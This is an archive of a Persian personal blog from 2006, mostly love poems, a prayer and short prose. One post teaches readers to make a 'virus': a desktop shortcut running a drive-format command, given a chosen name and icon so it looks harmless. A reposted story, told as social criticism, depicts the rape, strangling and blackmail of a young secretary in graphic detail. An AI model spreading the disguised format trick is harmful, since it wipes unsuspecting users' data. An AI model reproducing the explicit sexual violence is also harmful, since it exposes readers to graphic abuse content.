تبليغاتX
تنهایی همین است
تنهایی همین است
                                                        تنهایی

ت:تو اونو دوست داری ولی نمی دونی اون تو رو دوست داره یا نه.

ن:نگاهش تمام تنت و می سوزونه.

ه:هر لحضه عشقت به اون بیشتر میشه.

ا:از هر چی بگذری از اون نه نمی تونی بگذری.

ی:یکیه تک تک تو دنیا فقط از اون تو دنیا یکی هست.

 

+ نوشته شده در  یکشنبه سی ام بهمن 1384ساعت 20:27  توسط سیاوش | 
خدايا
ذهنم پريشان است
قلبم بي قرار است
افكارم شوريده اند
و درمانده ام
پس
رشته زندگيم را به دستهاي امن تو مي‌سپارم
آنگاه طوفان ميخوابد
و آرامش تو حكمفرما مي‌شود.
+ نوشته شده در  شنبه بیست و نهم بهمن 1384ساعت 15:5  توسط سیاوش | 
موندن و سوختن و ساختن

                   کار من نیست کارعشق.

بذار تنها باشم تنها بمیرم دیگه از درد و غم آروم بگیرم. برم پیدا کنم یه جای خلوت بشینم اشک بریزم تا قیامت . برو ای دل بخواب که وقت خوابه سلام تو همیشه بی جوابه. به تو بی دست و پا از من نصیحت اگه عاشق بشی خونت خرابه .چرا ای دل تو اینقدر سر به زیری به دام این و اون هر دم اسیری چرا گول میخوری با یک اشاره سحر شد تو هنوز چشمات بیداره.

......................................................................................................

تبسم عشق به روی عاشق نیست آتش عشق سوزاننده عاشق است.یا حق

 

 

+ نوشته شده در  شنبه بیست و نهم بهمن 1384ساعت 14:54  توسط سیاوش | 
خوب مرا نگاه کن تو ای تمام دیدنم

                                       خوبم اگر یا که بدم دروغ نیستم منم

مرا که پشت پا زدم به راه و رسم روزگار

                                       اگر که عاشقی ویار مرا به خاطر بسپار

اگرکه دل سوخته ای با تو غریبه نیستم

                                       که با تو بغض عشق را غزل غزل گریستم

مرا به خاطر بسپار لحضه به لحضه خط به خط

                                     درستی منو ببین در این زمانه غلط حقیقت مرا ببین در                                                 این زمانه غلط

در آستانه سفرپشت نگاه بدرقه

                                       گریه نکن نگاه کن مرا به خاطر بسپار

سر همان کوچه سبز که میرسد به انتظار

                                          من ایستاده ام هنوزمرا به خاطر بسپار

+ نوشته شده در  جمعه بیست و هشتم بهمن 1384ساعت 21:7  توسط سیاوش | 
دلم گرفته نمیدونم چرا؟ به سرم زد یکی از نوشته های تنهاییمو براتون بنویسم:

در دلم باغی دارم

                    می آرایم باغم را می بویم تک تک برگ درختانش را

می گویند روزی باغم سبز بوده ز سبزی سبز بدین زردی گرفتار آمده

می گویم در باغم غیر زردی چیزی نیست می گوید آن جوانه را ببین

می دانم زیر برگ زرد جوانه ای هست جوانه زیر برگ زرد چه رشدی

جوانه زیر برگ زرد بر زردی باغ خواهد افزود خانه زپایبست ویران است

امیدی به باغ دلم نیست چه کنم سوختن باغم دودی به چشم من دارد

 باید ز باغ بیرون آمد  باید ترک وطن کرد.

+ نوشته شده در  پنجشنبه بیست و هفتم بهمن 1384ساعت 13:40  توسط سیاوش | 
اسم تو برای من مقدس

                         تا نفس تو سینه پرپر میزنه

باورم کن که فقط باور تو

                          می تونه قفل قفس رو بشکنه

منمو یه آسمون بی دریغ

                         منمو یه کوره راه ناگذیر

ای ستاره شبای مشرقی

                        پر پرواز منو ازم نگیر

.......................................................................

سلام رفقا خیلی مخلصیم مخصوصا شما حمزه جون خیلی میخوامت

+ نوشته شده در  پنجشنبه بیست و هفتم بهمن 1384ساعت 12:38  توسط سیاوش | 

ميخوام نوشتن يه ويروس ساده ولي خطرناكو بهتون ياد بدم.

اين ويروس چيز سختي نيست ولی خيلي خطرناكه.

 اول از همه روي دسكتاپ رايت كليك كنيد بعدش New ShortCut بسازيد.

يه صفحه باز ميشه در اون بنويسيد: Format C:/Autotest

سپس Next  را زده و در صفحه جديد كه باز ميشه يه اسم واسه ويروستون انتخاب كنيد.

سپس Next را زده ويه آيكون با سليقه خودتون براي اون انتخاب كرده و Finish  كنيد.

خب ديگه كارمون تمومه حالا اگه اجراش كنين بيچاره ميشين.

اگه خواستين بفهمين چي ميشه به جاي Format C:/autotest بنويسيد Format a:/autotest  و يه فلاپي كه حاوي اطلاعات هستش در Flopy Drive خود قرار دهيد بعد اجراش كنيد بعد برين سراغ فلاپيتون ببينيد چي شده.ميبينيد فلاپي پاك شده وديگه نه ميشه اطلاعات روش ريخت ونه ميشه فرمتش كرد.

موفق باشيدhttp://www.hacker-khafan.blogfa.com/

+ نوشته شده در  چهارشنبه بیست و ششم بهمن 1384ساعت 15:23  توسط سیاوش | 
 جریان داستان نه جالبه و نه جذاب ولی واقعیت تلخیه که کم کم داره تو جامعه ایران اشاعه پیدا می کنه ...

روزنامه همشهری مورخه 15/11/1381
آگهی استخدام
به يک خانم ترجيحا مجرد , آشنا به تايپ و کامپيوتر جهت امور منشی گری نيازمنديم .
تلفن : ....
***
طبقه سوم ساختمان ايکس
واحد ششم
ساعت پنج بعد از ظهر مورخه 16/11/1381
دوازده نفر روی مبل های راحتی منتظر نشسته اند .
در اتاق رئيس شرکت باز می شود و دختر جوان با گونه های سرخ و لبخندی معنی دار از اتاق بيرون می آيد .
- چی شد ؟
- گفت باهم تماس می گيره .
نفر بعدی داخل اتاق می شود .
دختری بيست و يک ساله با چشمان خاکستری روشن و ابروان کشيده قهوه ای .
اين اولين تجربه جستجوی کاری اوست .
مردی پشت يک ميز بزرگ نشسته است و پيپ دود می کند .
مرد چهل و يک سال دارد .
با صورت کاملا تراشيده و چشمان قهوه ای مات .
مرد لبخند می زند و دختر را به نشستن دعوت می کند .
فاصله مبلی که دختر روی آن می نشيند تا ميز حدود نيم متر است .
- خيلی خوش اومديد.... خانم ( مرد فرم پرسشنامه دختر را مرور می کند ) خانم صديق ...
مريم صديق .
- بله .
- خب ... ( مرد در حالیکه با ولع پيپ را می مکد اندام دختر را با نگاهی چسبنده و خريدارانه مرور می کند ) ببين عزيزم ... شرايط کار اينجا خيلی ساده است ... همه چی به خودت خلاصه می شه ... من خيلی رک بهت بگم من از دخترای خشک خوشم نمياد ... دوس دارم کسی که منشی من ميشه اهل حال باشه ... منظورم از اهل حال بودن شوخ طبعی و شيطون بودنشه ... من دوس دارم از محيط کارم لذت ببرم .. و اين لذت رو تمام اجزای محيط کارم بايد برام به وجود بيارن .... معنی حرفمو می فهمی ؟
- دقيقا نه .. منظورتون ...
مرد از روی مبل بلند می شود و چند قدم حرکت می کند .
- ببين ... منظور من روابط اجتماعيه .. من عادت دارم با منشی خودم خيلی ريلکس برخورد کنم .. خيلی اوپن .... مثه يه دوست ... در مقابل حقوق خوبی هم می دم ... حقوق خيلی خوب علاوه بر مزايا و پاداش فوق العاده ... تو .... تو می تونی انتظارات منو برآورده کنی ؟
دختر به فکر فرو می رود .
نياز شديد مالی راهی به جز پاسخ مثبت برايش نمی گذارد .
- خب .. پس من با تو تماس می گيرم ... ظرف امروز يا فردا .
مرد دستش را جلو می آورد و دختر پس از يک مکث کوتاه دست ظريفش را به دستان پهن مرد می سپارد .
مرد لبخند می زند و دست دختر را اندکی می فشارد .
دختر سرخ می شود و دستش را از دست مرد بيرون می کشد .
***
يکهفته بعد .
دختر اولين روزکاری خود را در شرکتی که فقط سه نفر کارمند و يک رئيس دارد شروع می کند .
دختر تمام روز فقط به تلفن جواب می دهد .
چهار روز به همين منوال می گذرد و هيچ اتفاق خاصی نمی افتد .
روز چهارم مرد ( رئيس ) از دختر می خواهد که بعد از ظهر هم به محل کار برود .
دختر قبول می کند .
ساعت پنج بعد از ظهر دختر به شرکت بر می گردد .
رئيس تنها در شرکت منتظر اوست .
مرد چند برگ تايپی را به دختر می دهد و از او می خواهد آنها را تايپ کند .
دختر مطيعانه مشغول می شود .
مرد در دوربين فيلم برداری مدار بسته را به کار می اندازد و از پشت به دختر نزديک می شود
دختر متوجه سنگينی دستان مرد بر روی شانه های خود می شود .
- ببخشيد ...
مرد با چشمان مات خود حريصانه صورت دختر را نگاه می کند .
- مشغول کارت باش ....
- ولی ... امکان داره دستتونو از روی شونه من برداريد .
مرد با يک حرکت سريع روسری دختر را از سرش بر میدارد .
- من اينطوری بيشتر دوس دارم .
دختر جيغ کوتاهی می زند و از روی صندلی بلند شده و به عقب می رود .
مرد لبخند می زند .
- نترس عزيزم .. اين همون شوخيه معمولی منه ... بشين کارتو بکن
- ميشه روسری منو بدين .. من بايد برم .
لبخند مرد محو می شود و به سمت جلو گام بر می دارد .
- چی گفتی ؟ بايد بری؟
مرد مچ دست دختر را می گيرد و به سمت خود می کشد .
دختر بهت زده و ترسيده سعی می کند دستش را بيرون بکشد .
نگاه مرد بر روی صورت رنگ پريده دختر می لغزد و بر روی لبان عنابی رنگ دختر ثابت می ماند .
مرد وحشيانه لبان خود را به لب دختر می چسباند و سعی می کند دهان دختر را باز کند .
دختر سرش را تکان می دهد و و دهانش را به هم فشار می دهد .
مرد با دست ديگرش پشت گردن دختر را می گيرد و لبان دختر را گاز می گيرد .
دختر به روی زمين می افتد و مرد اندام سنگين خود را روی او می اندازد .
مرد از امتناع دختر حشری تر می شود و لباس دختر را می دراند .
دختر سعی می کند جيغ بزند ولی دستان پهن مرد دهانش را می پوشاند .
مرد کمر بند خود را باز می کند و همزمان دکمه های شلوار جين دختر را می گشايد .
دختر با تمام توان تقلا می کند و سعی می کند دستان مرد را گاز بگيرد .
مرد روسری دختر را دور گردنش می پيچد و فشار می دهد .
- ... جيکت در بياد خفت می کنم ..
فشار روسری صورت دختر را سياه می کند و او از ترس جان ساکت می شود .
مرد با يک تکه طناب دستان دختر را از پشت می بندد و لباس های او را می دراند .
دختر آرام گريه می کند .
مرد با اندام دختر را لمس می کند و سينه او را می بوسد .
- قرار بود دختر خوبی باشی ... قرار نبود اذيتم کنی پدر سگ .
مرد روی سينه دختر می خوابد و با چشمان وحشی خود به صورت اونگاه می کند .
کمر مرد اندکی بالا می رود و دختر درد شديدی را ميان پايش احساس می کند .
مرد هميشه از هم خوابگی با دختران باکره بی تابانه لذت می برد .
صورت مرد از شدت لذت عميق ساديسمی اش سياه می شود .
مرد به شدت خود را تکان می دهد و دختر نيمه جان نفس نفس می زند .
نگاه بيروح دختر به روی صفحه مانيتور و کاغذ های تايپ نشده ثابت می ماند و مرد نفس های عميق می کشد .
مرد به اوج لذت جنسی خود می رسد و تمام فشار اندام تنومندش را روی تن دختر می کشاند .
دختر احساس می کند مرده است .
مرد بلند می شود و شلوارش را بالا می کشد .
- بد نبود ولی خيلی شيطونی کردی ... پاشو لباستو مرتب کن .. ديدی چيزی نبود .
مرد لبخند می زند و موهايش را مرتب می کند .
دختر سعی می کند بلند شود اما تمام بدنش درد می کند .
صدای مرد از اتاقش به گوش می رسد .
- راستی .. اين جريان کوچولو بين خودمون باشه ... ( و لحظاتی بعد مرد در حاليکه يک حلقه فيلم در دست دارد بالای سر دختر می ايستد )
می دونی يه دوست دارم که توی کار مونتاژ فيلم حرف نداره ... اين فيلم قاطی شدن ماست .. دوس داری جای من کی توی فيلم باهت صفا کنه ... می دونی وقتی فيلمش توی تهرون پخش شه امکان داره از هاليوود بيان دنبالت ... پس به نفعته دختر خوبی باشی و انگار نه انگار ... شتر ديدی نديدی ... از اين به بعد فقط هفته ای دو بار خيلی محترمانه و رمانتيک با هم خوش می گذرونيم ... دختر خوبی باشی حقوقتم اضاف می شه ... حالا بهتره زودتر پاشی و يه دوش بگيری ... يه مانتوی نو هديه امروزته که توی اتاق منه .. يالا ...
حرف های مرد درد دختر را چندين برابر می کند .
هيچ راه چاره ای برايش نمی ماند .
دختر زير دوش حمام اشک می ريزد .
و مرد يک آگهی جديد در روزنامه سفارش می دهد و حلقه فيلم را در کلکسيون شصت و هفت عددی فيلم های خود می گذارد .
روی حلقه فيلم يک برچسب سفيد با نوشته قرمز است : .....(برگرفته از یک درد )

واقعا باید گفت متاسفم همین و بس

این مطلب رو قبلا تو بلاگم گذاشته بودم ولی بهتر دیدم یه بار دیگه هم بذارمش !


--------

+ نوشته شده در  سه شنبه بیست و پنجم بهمن 1384ساعت 20:53  توسط سیاوش | 
از دور نگاش میکنم . یه زره جا به جا میشم تا بهتر ببینمش حالا متوجه شده دارم به اون نگاه میکنم غرق چشمای قشنگش میشم وای خدای من کاش ای کاش میشد کاش میتونستم برم جلو بهش بگم دوسش دارم بیشتر از همه بیشتر از خودم کاش نبودم و نمیدیدمش آخه الان نمیتونم تحمل کنم اون ماله یکی دیگه شه .کاش میتونستم مثل بقیه پسرها که حتی الکی میگن دوست دارم برم و از ته دل بهش بگم بهش بگم دووووووووووووووووووووست دارم.

تو همین فکرها هستم که متوجه شدم که دیگه اون رفته .روزها گذشت و من نتونستم قفل سکوت بشکنم و جرات کنم برم جلو نه نتونستم............

امروز بعد از دو سال دوباره دیدمش یه ذره شکسته شده بود گفتم این دفعه دلو میزنم به دریا میرم جلو و بهش میگم چه قدر دوسش دارم و از همون روز اول که تو دانشگاه دیدمش عاشقش شدم آره این دفعه میرم جلو .آماده شدم که برم نزدیکش شدم اوون منو نمیدید حالا چند قدم مانده بود ولی یه چیزی نگرم داشت خشکم زد تو انگشت دست چپش یه حلقه  بود آره یه مرد هم سن خودم هم کنارش بود دست تو دست هم داشتن.

+ نوشته شده در  دوشنبه بیست و چهارم بهمن 1384ساعت 21:13  توسط سیاوش | 
اینم برای دوستان

تو از شهر غریبه بی نشونی اومدی

                       تو با اسب سفید مهربونی اومدی

 

+ نوشته شده در  دوشنبه بیست و چهارم بهمن 1384ساعت 13:23  توسط سیاوش | 

- من اصلا نمي‌فهمم چرا اين پسرا هر کاري دلشون مي‌خواد مي‌کنن اما ما دختراي بدبخت ... تو به اروپايي‌ها نگاه کن! ما هم درست مثل اونا نيازمند حقوق برابر هستيم. يعني چي که ما بايد برده پدرا و برادرامون باشيم! من نمي‌فهمم چرا پدرم اجازه نداد رشته دلخواهمو توي شهرستان دنبال کنم اما برادرم تونست براي ادامه تحصيل بره قبرس! يا اصلا همين قضيه عاشق شدن داداش کوچيکم! مادرم وقتي فهميد غش غش زد زير خنده اما اون دفعه که من و پسر همسايه روبروي هم دراومديم و يدفه مادرم هم سررسيد، کلي سين جيم شدم که "با اين پسره چي مي‌گفتي!" يا همين قضيه کار کردن ...
جي‌اف - ببين! من با همه حرفات موافقم. ولي يادت نره که اينجا ايرانه!
- ايران يا اروپا! من اجازه نمي‌دم کسي برام تکليف معين کنه!
جي اف - يعني چي اونوقت؟
- يعني اينکه! من ديگه زير بار حرف زور نمي‌رم!

سال چهارم دانشجويي - عشق! جنس مخالف! رمانتيزم! سرکشي!

بي‌اف - تو با دختراي ديگه فرق داري. خيلي برام جالبه که مدافع حقوق زنايي. تا هر جا بري جلو منم پشتت هستم.
- مرسي!
بي‌اف - ببين! من خيلي دوستت دارم. چطوري بگم! دلم مي‌خواد ... دلم مي‌خواد براي هميشه مال من باشي. مي‌فهمي؟
- آخی، يعني مي‌خواي بياي خواستگاريم؟
بي‌اف - آره! حتما! ولي قبلش بايد يه چيزاي ديگه‌اي رو با هم تجربه کنيم. مي‌فهمي که؟
- راستش نه خيلي.
بي‌اف - واضح بگم! من نمي‌تونم با دختري ازدواج کنم که نمي‌تونه منو از نظر جنسي ...
- به من شک داري؟
بي‌اف - نه! نه عزيزم! فقط براي اينکه پايه‌هاي عشق مشترکمون محکم‌تر بشه! باشه؟
- ببين! تو خوب مي‌دوني که من يه پاپاسي هم براي سنتهاي کبره بسته اين جامعه متحجر ارزش قائل نيستم ... باشه! اين حق رو برات قائل مي‌شم. حتي اين حق رو براي خودم هم قائل مي‌شم.


23 سالگي - ضربه! شکست! دنياي واقعي!

جي‌اف - مگه اين پسره عاشقت نبود، پس چرا ولت کرد؟
- راستش نمي‌دونم عاشقم بود يا نه! ولي توي آخرين نامه‌اش نوشته بود:"دختري که انقدر راحت خودشو واگذار کنه بدرد زندگي نمي‌خوره!"
جي‌اف - آشغال. همون بهتر که رفت.
- اهميتي نداره! من به پاي باورام هر چيزي رو فدا مي‌کنم.
جي‌اف - يعني چي؟
- يعني حالا که شروع کردم تا آخرش مي‌رم.


24 سالگي - پافشاري! اعتراض!

جي‌اف - چرا به خواستگاري پسرخاله‌ات جواب رد دادي؟ براي دختري تو موقعيت تو مورد خوبي بود.
- چرا جواب رد دادم؟ مردک هر کاري عشقش کشيده اون ور دنيا کرده، حالا اومده روبروي من نشسته مي‌گه:"دختراي کانادايي مثل دوغ و نوشابه‌ان، اما تو خودِ آبي! هيچکي دختر ايروني نمي‌شه"
جي‌اف - خر نشو! کتاب گذشته رو ببند. من يه دکتر زنان مي‌شناسم که ...
- ممنون! خطايي ازم سرنزده که بخوام پنهونش کنم.

25 سالگي - بلوغ! اميد!

جي‌اف - تا دنيا دنياست مرد ايراني همينه! تو نمي‌توني طرز فکرشو عوض کني.
- آره نمي‌تونم! اما با اين مرد ايراني زندگي هم نمي‌تونم بکنم.
جي‌اف - آخرش که چي؟
- به دور و برت نگاه کن. انقدرا هم که تو مي‌گي وضعم اسفبار نيست. تعداد مرداي روشنفکر تو تمام دنيا رو به افزايشه. بالاخره يکي ميون اينا پيدا مي‌شه که فازش به من بخوره.

26 سالگي - عشق تازه! محل آشنايي: سمينار دفاع از حقوق زنان

عشق تازه - من عاشق دخترايي مثل توام. عاشق جسارت و سرکشي‌تون!
- خيلي خوبه. در واقع عاليه. اما يه سوال؟
عشق تازه - بگو!
- تو با دختري که باکره نباشه ازدواج مي‌کني؟
عشق تازه - معلومه که نـــــــــــــه!
- عجب! تو که توي مقاله‌هات بدجوري سنگ حقوق جنسي زنا رو به سينه مي‌زني!
عشق تازه - اونا مال بقيه است. من خودم هنوز نتونستم با اين قضيه کنار بيام!
- يعني همش يه مشت شعار بود ...
عشق تازه - شعار يا غير شعار عزيزم. چه دخلي به من و تو مي‌کنه؟
- دخلش اينه که من باکره نيستم.
عشق تازه - خداي من!!! دختره احمق! تو حيف بودي! حيـــف!

آغاز نااميدي مطلق:
27 سالگي
28 سالگي
29 سالگي
30 سالگي
31 سالگي
32 سالگي
33 سالگي
34 سالگي
35 سالگي
36 سالگي
...
همچنان سرگرم پرداخت بهاي سنگين مرد نبودن! بهاي سنگين زن بودن! بهاي چند دقيقه کوتاه از زندگي که مردان بارها و بارها از آن بهره مي‌برند و به عنوان مدال‌هاي افتخار و تجربه به رخ ديگر مردان مي‌کشند.
نه! اشتباه نکنيد! آنچه من از پس اين داستان تلخ به دفاع از آن برخواهم آمد، هم معناي آزادي‌هاي بي حد و حصار جنسي نيست. آنچه که مردان امروز بي‌شرمانه به آن تن داده‌اند.
حرف من بر سر جامعه‌اي است که دخترانش حق ندارند تجربه کنند! خطا کنند! و در پَسِ آن رشد! اينجا بيداري براي زن جرم است. بينش و آگاهي جرم است. نياز جرم است. زیرا اینها همه وابسته به حرکت هیولای غول پیکری به نام "تجربه" است. زن محکوم به خفقانِ اين جامعه مردسالار است. جامعه‌اي که در آن ملاک محک و سنجش پاکي دختران! گل انداختن گونه‌هاشان هنگامه لمس دستهايشان است و هر دختري که شب زفافش گريه کند! در دل مردش بيشتر جا باز مي‌کند. هر چه نادان‌تر! وابسته‌تر. هر چه وابسته‌تر، مطيع‌تر. و هر که مطيع، محبوب!
فلسفه‌اي که من از آن سخن مي‌گويم تابع تعادل و تعامل است. سخن از مفهوم ارتباط در معناي زناشويي است و در اين ميدان نه زندگي آنقدر وفادار است و نه آدمي آنقدر توانا! که بتوانيم به سوگ تجربه‌هاي عقيم فراوان نشسته و البته چيزي را هم نبازيم. آنچه که علم پزشکي و روانشناسي امروز قدرت انکار آن را ندارد و البته روشنفکران ديني ما نيز بر اثر غور در مفهوم دين و ارائه فقه پويا، به اين مهم معترفند. هر چند که شجاعت و جرات افشاي علني آن را ندارند. چرا که جامعه به علت جهل و رکود بانيان فرهنگي کشور در جهت بارور کردن قوه تفکر و تعقل و منطق! ظرفيت پذيرش و دريافت آن را ندارد. و البته دولتمردان دلسوز و نازنين و متعبد و مسئول (مابقی در ظرف حقير اين مقاله نمی‌گنجد) نيز مصرند تا جوان برومند قانون را مانند کودکي تنبان لاستيکي بپوشانند از ترس اينکه مبادا نم پس دهد.
با اينهمه پر واضح است که هر فلسفه‌اي براي اثبات نيازمند قرباني است. اما آنچه هست، در اين مسير زمان با زنان همگام نيست. بايد آرام‌تر قدم برداشت.
اين يک تنه جنگيدن هر چند بسي دردناک و تاسف‌برانگيز است. اما یک زن خوب مي‌داند که درد، نقطه پايان نيست بلکه سر آغاز تولدي ديگر است. از خاطر نبريم، که زنان و مردان فردا را، ما زنان امروز خواهيم پروراند و آن دردي که نقطه آغاز بود در فرداي روشن فرزندانمان به ثمر خواهد نشست. بي‌شک! آنها براي لذت بردن از زندگي و نفس کشيدن در هواي باورشان، بهايي به سنگيني بهاي مادران‌شان نخواهند پرداخت. به کودکان‌مان! انديشيدن! و انديشيدن! و هزار بار ديگر انديشيدن! خواهيم آموخت. از بند جهل و سنت و عادت‌هاي کورکورانه رهايشان خواهيم کرد و از بيراهه‌هاي هوس‌ها و ترس‌ها بازشان خواهيم داشت. شيرين روزگاري که دور نيست ...

+ نوشته شده در  دوشنبه بیست و چهارم بهمن 1384ساعت 13:12  توسط سیاوش | 
سلام به رفقا

دوستون دارم یه عالمه هر چی بگم بازم کمه

اینم بلاگ ما حالا میخوایم صفا کنیم.

 

+ نوشته شده در  دوشنبه بیست و چهارم بهمن 1384ساعت 13:9  توسط سیاوش | 
 
http://www.harmonytalk.com/music/shab_e_jodayi-homaioun-shajarian.wav